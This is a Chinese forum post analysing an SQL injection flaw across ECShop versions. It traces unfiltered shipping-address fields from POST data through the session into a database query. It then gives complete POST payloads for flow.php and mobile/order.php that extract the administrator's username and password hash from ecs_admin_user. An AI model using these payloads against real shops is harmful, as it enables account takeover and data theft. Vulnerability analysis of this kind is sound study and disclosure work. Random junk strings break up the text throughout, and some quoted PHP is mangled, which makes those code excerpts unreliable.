找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2193|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
) k" ^4 m, o4 O$ K" T& Y" ^, l" s3 M* }8 g3 ^2 I, u
    漏洞关键文件:
" `. Z0 x8 G9 {& @& b
3 v9 Z$ h. |( D    /includes/lib_order.php
! x, a8 u( F3 D8 f- z- \. v9 e1 u/ g3 R& o9 h$ \. s
    关键函数:. T# l5 u6 e+ c# `6 n
# j+ y" X; [8 J+ _9 K$ b  {- l
7 I5 n( e+ e, [) K: I4 Q5 ^6 A: |
% M8 i. k6 k7 i* J' X
01     function available_shipping_list($region_id_list)
- }- U* p  K1 S0 @4 e; \9 `* i) K4 B: e/ h3 Q& K
02 {
4 x  i  T) f! O9 m# f* Z( L4 p0 R) {" n0 F
03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
  \4 t2 f' C8 c5 L/ C9 g3 |8 s' y9 j! X& R  P3 {1 J
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' . ! q6 ?% Y! J, q

8 \- W/ C! ]% O# Z+ M  L$ [$ ?05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . 1 h0 [) V8 a" J9 m
% l8 w8 G+ o( t7 J
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . & V3 o! u( p4 T2 G" X4 J& e6 K

. t0 l, b$ M2 Y/ }5 p" k07                 $GLOBALS['ecs']->table('area_region') . ' AS r '. ) y$ G4 p3 z7 R+ n
6 N, S# h  s2 G0 c% ?, u
08             'WHERE r.region_id ' . db_create_in($region_id_list) . 6 L$ l4 _$ N2 `3 j

, J" Y: L  E3 ~4 Z- V3 S09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
3 M7 c6 c* z2 U& m2 w1 O) j& V9 g5 B  X  a- c
10   
! p8 J. ]5 l4 I+ }  C. d) ]6 [1 H  t, ]
11     return $GLOBALS['db']->getAll($sql);
2 `0 S1 p5 C( w, F6 k  o/ H8 g( m! A3 D! Z! t
12 } - t( F7 }; D! |7 y. ^( l
* m& _/ \4 E; {# K5 k. N3 i
显然对传入的参数没有任何过滤就带入了查询语句。
, N) X6 `" z) A& \* ]4 G
0 l4 B! s. e, k/ d2 Q; z8 _3 U下面我们追踪这个函数在flow.php中:4 t8 v0 l" d" J" E% Y% G( ~+ x
第531行:   
3 f- v" }7 W0 V1 Z& U
  P9 ]% \7 \" z( g) Y" u' z' H1 $shipping_list     = available_shipping_list($region); ' `  I$ O% t% ~; Y' K
# ]" Y  u! z' I! }+ `# L

4 e' O: u6 \) W8 H
3 u+ b4 d! O/ A7 c- W 6 r( [) ~+ C9 E- ?! ~

3 ^8 z$ Z7 L' Y4 Y再对传入变量进行追踪:
  I3 [4 l( v) f% e/ t) {% M
4 j# V2 o9 ^0 k0 P+ }- n6 P& z3 V第530行:   
! T% W2 ]1 f( \+ Y' i5 q
8 R& z9 g! |: {1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); $ g! H; i- v  L. ?
1 A& W. ], K* t" u
) r1 L" k2 V8 U$ L
5 i, O0 F! `# q/ P. g. h: n7 k

$ ~* U2 N0 F5 F, F' {# V' T* i3 m4 Y! l
第473行:        : K- @' z7 I, T" O

# ?4 s# o. N3 V5 d: @1 $consignee = get_consignee($_SESSION['user_id']);
+ [1 Q% B# Z6 I* {1 |+ V2 I( G6 t5 [' z" `- j" K8 r' X7 ^5 X% b
到了一个关键函数:* x8 v9 M5 M; s: A& i
, {: E  A1 q" P0 v+ x5 Z, k
/includes/lib_order.php; T, ]$ g7 U6 f' `! [. t0 _

% _% t& H; o8 i  P3 K7 _5 X( Z 4 ]5 @( N* Z% R( q- D; A( j

% v. b. l/ J6 F% k3 d( b   \0 P. M3 e: X* Y' }

6 h, E, `; L# b01 function get_consignee($user_id) ( |, i  Q& \5 `/ X! Q$ ]
. K! f3 h  B0 y3 _# Q0 w& S" ^& E
02 { " k1 x5 S; _9 C) ^. X

. \/ R8 q) |, T+ v03     if (isset($_SESSION['flow_consignee'])) / ?: D" R, J; m9 x- S$ K( j

- I, T) {/ G+ @. y# r  k% o6 {04     {
6 L& V) g; I4 ^8 s: P4 e. _$ d! K/ |' U' I" D
05         /* 如果存在session,则直接返回session中的收货人信息 */ $ q- U# O8 s: z+ c* ^
2 E% q+ Z- g: J6 ]6 M
06   5 d$ U* D* q  y  A; o

0 b5 \$ n: F* N4 O07         return $_SESSION['flow_consignee'];
: I* y2 `- _0 N: j& m7 n9 u# X
( g! A2 d' s& o; g; Y( ?08     }
% R/ [% Q7 u# K6 v' X2 W5 n$ x$ i1 h, k$ e. s
09     else
. e! p/ w# G4 M! L3 }# w, }
+ ]* F& G4 Z& j' L: s& S10     {
) m+ t( n) ^; v; v- w3 w4 w" k( }- n# V7 Q) a# R' ?+ J& C6 V: W
11         /* 如果不存在,则取得用户的默认收货人信息 */ + V. w, g' h& j

5 B0 _) |% s4 Z" `" n" i7 R12         $arr = array(); , h8 N1 `3 ~+ K1 L: d

0 k5 F/ k# l3 T. O. ~% E13   
+ y/ h7 T, q/ B! w/ a
/ ?' X6 V& F  X9 s( Y14         if ($user_id > 0)
% t- t4 l/ K& s' O; D4 e% d5 T9 k, f( k6 i0 O
15         {
) n- v0 g5 @$ m8 L9 _8 x& }5 O) Z) l; x( l- _! p+ ~; ^
16             /* 取默认地址 */ $ f, g' ?0 q8 U, V% S$ E4 G* s2 I3 ?

9 f" ^. V) m# u, B3 e& U- K9 R17             $sql = "SELECT ua.*".
9 E/ D1 l. ]" O  ^* H- S, a: x0 k! N7 ]
18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. 6 t. b% c; R* w' H, c) e
6 r! f% k" `7 y. k9 u
19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; & y5 I9 u) ]8 m
' u5 G1 K/ `0 G9 D2 b- q0 w& ~
20   : z9 Y/ e+ H8 U
- _1 c$ ?% s  S; D$ m  i/ [
21             $arr = $GLOBALS['db']->getRow($sql); & I# k% q; C. d/ }# n5 K" y, _
6 C4 p; ^. K8 V
22         } * V7 W2 J0 j6 Q/ Y2 V

/ ?: ^" ^9 A# o/ w: D$ G  |1 B23   / O+ s! Q7 K$ G' b

# m8 Q$ I- }3 k7 ]1 z6 I! d24         return $arr; / P& {; l8 [# [% S( a6 I
% u9 J$ L; K6 n( ], T
25     }
0 J; H- s4 {' D% K
3 n4 a7 N" I$ U. f26 } 4 A7 n% m9 r: {0 D
  B, C2 ]) y; t  }
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?( n, u6 Q6 f1 i/ P, R7 m/ |
& y9 f# D7 h$ ~8 y
7 E( b. ^6 O! Y3 L, M

8 F! h" J( z/ D; \" k( K关键点:3 s2 T$ M/ X: W2 ]8 C
! b, N6 f3 z$ X! V$ W! ~1 H
第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
& L5 {' L+ z, W' T2 m# ~, G
" ~( r. I* T, z# h! B这里对传入参数反转义存入$_SESSION中。. u6 _1 z1 c1 n) W  m7 l
, n1 C: i- u5 S5 ~2 c9 ]6 d* D' B

. V4 T% F! L1 U; V; A7 ]1 J
4 ]$ W4 k$ B* J/ Y然后看下:# ^5 U6 l# s' u) s% {
# S$ d' u% l3 g, ]; A  g, D
6 K* z) n! S. H' I3 L
# l+ a3 ~& |6 J( g1 j' Y2 D' f0 b
   
9 S5 M4 y  Q. Y  r, g( c
- z% F9 p- R- S" q- }! H01 $consignee = array( ) d0 K8 N+ A+ ?5 [$ y
& E$ r3 j+ Q1 C6 ?
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']), 5 y- {! L1 u  {% x5 V/ p

9 Z& w8 _/ T' w/ [. q4 p  I5 V03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']), * p. }, \2 q0 E$ Z4 F% g

+ Z8 N! R: e- Z  E7 f9 U& ~0 o. a04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
6 l, E7 O+ J" }1 u
* ~% X+ M. F' e# f! U3 r05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
! _# B4 j# d3 Q6 B5 z) }" Y( p  q+ ]+ k5 p7 p  x
06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
6 ~  a7 H2 b/ A; b* U' \6 B& u
. e* F0 ^+ [2 x, j; J4 x* q07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
% v2 f, n! [7 e7 ~
& C% }$ `1 {7 Y' o2 y08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
5 z5 y; [4 g( C7 m: @1 ?8 Y4 O
- {' r' K; P0 E2 Q, a* M2 p' l09         'address'       => empty($_POST['address'])    ? '' _POST['address'],
9 n1 r5 X8 J/ t* U) O' j7 j, R) g. s7 `  v1 a7 p& I7 F
10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
7 G( s) W' G2 T" g( h/ w' l9 }" h
11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
- d8 M+ j+ E# c  }9 G2 V! l
* O1 G( v. P) {6 q4 f12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
* B: R0 ]+ X# c0 {7 z, M3 p" X  P: j# Z) ]* W. a4 y! C0 P9 [
13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], ! m4 {( ]  Q7 n2 D4 \
. B, k* F9 [% A; e0 B
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],
5 D) J7 T; ~8 }4 N4 }( }
4 @$ `% \$ @1 I6 d1 }15     ); " ~5 e, m4 I! U/ z# j

/ ?, B5 D# c( U: L7 K好了注入就这样出现了。
* F: ]& L$ x2 z9 k% h  M4 C, Q8 V( A  T# b5 ^: @+ A1 Z
==================
/ V! [" B2 Y$ \" S' Y& x* y. y8 n& C$ i) A. Z4 W+ F
注入测试:
7 @  {, D1 b& w- i
8 Z, x; \" m  ~7 u, b& w6 \环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
! |& r: X5 p3 A& K1 p; ~1 `7 d) N/ v3 K5 E: ]. S2 i
测试程序:ECShop_V2.7.3_UTF8_release1106% t& f( `; Q/ ~" r9 P5 b: F

8 g9 Z  j2 v# Y; `
. U/ d. x, T- _& g( a
+ i1 [  m" d0 ]9 t& p) i1.首先需要点击一个商品加入购物车
* w8 Z3 t$ h  R. z  {$ s: o
6 L: k- u3 H) v2 a9 [& i2 `2.注册一个会员帐号
* Q: h$ A- M. C: |1 [9 C: V8 o: a6 Q& q1 h; p# b4 G, v  x
3.post提交数据* i/ [% _) r& Z8 h
/ `) K7 f& W/ x% }, L  T4 P% ]
, ^: R- y" V; `8 z; }

  w$ s& i7 [5 A) V+ F* \* q1 http://127.0.0.1/ecshop/flow.php
9 ^! a/ G+ I6 X9 r8 P$ j
$ p3 d! `8 a6 [7 d( Y7 I  h0 Q2   * j1 u1 k/ `1 s5 g
  E8 }) `6 O" c2 ~% O- Z, ?
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
$ E9 o* G# U: Y  e* i0 _" d举一反三,我们根据这个漏洞我们可以继续深入挖掘:6 k$ e+ z/ d  F* d! c5 s
) ]. D; F  n/ g/ j) ?& ?% s
我们搜寻关键函数function available_shipping_list()
0 P% |& d# t" B2 L# N
- A/ ]# [2 D: Y4 O+ W( Q在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
* i/ |$ ]) ?7 J* R
  H9 A5 k+ F5 z: q7 K5 R8 z& ]8 w利用exp:5 N* U5 Y& A( J9 ]0 h: i2 V

: E" \) ]$ b) Y% W- m1.点击一个商品,点击购买商标0 [0 e' w; t! n
) e9 s; d! A: I* i' b7 L! A
2.登录会员帐号
# `. e* m# z" y  e6 M" C
3 S0 [$ F* W$ D3.post提交:
4 q" J/ h7 J& t( w7 M- a3 U6 f3 [# `
http://127.0.0.1/ecshop/mobile/order.php& J5 _9 }3 L' N$ q3 U% v

2 `, F& H+ _# o7 I
! \" h' ~% D# g: M7 t& g8 b' I8 F! n2 S+ k$ H4 k8 z, P7 \6 E
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
( J* j( ?* y) A
% T$ E0 A/ D! t+ G) D! d+ ?
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表